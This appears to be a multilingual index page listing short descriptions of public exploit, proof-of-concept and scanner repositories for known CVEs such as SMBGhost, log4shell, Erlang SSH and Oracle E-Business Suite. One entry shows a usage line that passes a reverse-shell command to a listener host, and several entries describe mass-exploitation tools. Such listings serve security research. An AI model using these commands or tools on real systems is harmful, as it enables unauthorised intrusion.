CVE-2026-18937

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-18937 CVE-2026-18937 Broken Link Checker 2.4.11 - wordpress.org I am @abraxasnull. Loopback lab. The client is CVE-2026-18937-Abraxas-Labs.py. Query vars become globals. On plain permalinks,...

CVE-2025-32433-PoC

CVE-2025-32433 : Preuve de concept PoC de RCE non authentifié dans Erlang/OTP SSH Ce dépôt contient une preuve de concept PoC pour CVE-2025-32433, une vulnérabilité critique d'exécution de code à distance RCE non authentifiée affectant l'implémentation du serveur SSH dans Erlang/Open Telecom...

react2shell-scanner

react2shell-scanner Инструмент командной строки для обнаружения CVE-2025-55182 и CVE-2025-66478 в приложениях Next.js, использующих React Server Components. Технические подробности об уязвимости и методологии обнаружения см. в нашем блоге:...

vscode-rce-electrovolt

vscode-rce-electrovolt CVE-2021-43908 https://blog.electrovolt.io/posts/vscode-rce/...

SMBGhost_RCE_PoC

SMBGhostRCEPoC PoC RCE pour CVE-2020-0796 "SMBGhost" À des fins de démonstration uniquement ! Utilisez-le uniquement comme référence. Sérieusement. Cela n'a pas été testé en dehors de mon environnement de laboratoire. Il a été écrit rapidement et nécessite du travail pour être plus fiable. Parfoi...

waf-bypass

WAF Bypass Tool WAF Bypass Tool is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads. Check your WAF before an attacker does. WAF Bypass Tool is developed by Nemesida WAF team with the participation of...

CVE-2025-3248

中文 ｜ English Scanner de vulnérabilités Langflow Un scanner de vulnérabilités pour CVE-2025-3248 dans les applications Langflow. Fonctionnalités Scanner une cible unique ou plusieurs cibles à l'aide de FOFA Exécuter des commandes système sur les cibles vulnérables Récupérer les informations systèm...

CVE-2026-1731

CVE-2026-1731 BeyondTrust Remote Support Pre-Auth RCE PoC !WARNING Этот скрипт предназначен только для образовательных и исследовательских целей. Не используйте его против систем без явного разрешения. Несанкционированный доступ или тестирование незаконны и неэтичны. Прочтите полный DISCLAIMER...

Joomla-cve-2015-8562

Joomla! RCE CVE 2015-8562 Fichier Docker compose pour configurer l'environnement de test de CVE 2015-8562 Table des matières 1. À propos du projet 2. Pour commencer Prérequis Installation 3. Utilisation 4. Contribution 5. Licence À propos du projet Ce projet comprend un fichier Docker compose pou...

CVE-2025-68613

🚀 n8n Authenticated RCE PoC Pocsuite3 CVE ID : CVE-2025-68613 Type : Exécution de code à distance authentifiée Framework : Pocsuite3 Il s'agit d'un script de vérification et d'exploitation de vulnérabilité basé sur le framework Pocsuite3 , conçu pour détecter la vulnérabilité d'exécution de code ...

uro

uro Using a URL list for security testing can be painful as there are a lot of URLs that have uninteresting/duplicate content; uro aims to solve that. It doesn't make any http requests to the URLs and removes: incremental urls e.g. /page/1/ and /page/2/ blog posts and similar human written conten...

CVE-2021-1675

Depuis Lares Labs : Informations de détection et correction pour CVE-2021-1675 et CVE-2021-34527 🚨 Correctif publié : https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527 Le correctif a été confirmé pour résoudre l'exécution de code à distance RCE, mais l'élévation de privilèges...

datapower-redis-rce-exploit

datapower-redis-rce-exploit CVE-2020-5014 Une POC pour l'exploitation Redis RCE authentifiée d'IBM DataPower exploitant la fonction « Test Message ». Explication complète et démo sur YouTube Article de blog sur tomcope.com Explication En utilisant la fonction « Send a Test Message » de DataPower...

CVE-2021-25094-tatsu-preauth-rce

RCE sans authentification dans le plugin Wordpress Tatsu Builder CVE-2021-25094 PoC simple d'une RCE sans authentification dans Tatsu Builder = 3.3.11 fourni à titre d'exemple. Article complet ici : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ Usage: python3...

vulhub

Vulhub is an open-source collection of pre-built, ready-to-use vulnerable Docker environments. With just one command you can launch a vulnerable environment for security research, learning, or demonstration, no prior Docker experience required. 中文版本Chinese version Quick Start Install Docker examp...

phpunit-brute

phpunit-brute Outil pour essayer plusieurs chemins pour PHPunit RCE CVE-2017-9841 et il enregistrera les chemins trouvés dans found.txt dans le répertoire. Il utilise la liste de chemins suivante https://raw.githubusercontent.com/random-robbie/bruteforce-lists/master/phpunit.txt si vous avez un...

log4py

log4py pythonic чистый Python RCE эксплойт для CVE-2021-44228 log4shell 1. запустите уязвимый сервис, например https://github.com/zzzz0317/log4j2-vulnerable-spring-app 2. измените настройки в exploit.py 3. pwn Это только для образовательных целей в основном для моего собственного развлечения Это...

LabS4U2Self

Лаборатория S4U2Self Abuse Эта лаборатория предназначена для создания безопасной среды для тестирования эксплуатации S4U2Self abuse Развертывание Проект развернет: 1 DC с единственным domain admin hpotter 1 MSSQL со слабым паролем sa Развертывание выполняется с помощью terraform и ansible на AWS,...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 탐지 아티팩트 생성기 자세한 기술 내용은 블로그 포스트를 참조하세요. 탐지 동작 python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

Mass-exploit-CVE-2022-29464

Miaou Miaou Miaou! Juste un exploit de masse basé sur un PoC Python pour WSO2 Carbon Server CVE-2022-29464 Bogue RCE sans authentification CVE-2022-29464. Miaou Miaou Miaou ? Prérequis ? Python3 Shodan Zoomeye Un cerveau Qu'est-ce que cet outil ? Ceci est un exploit d'auto-scan de masse de...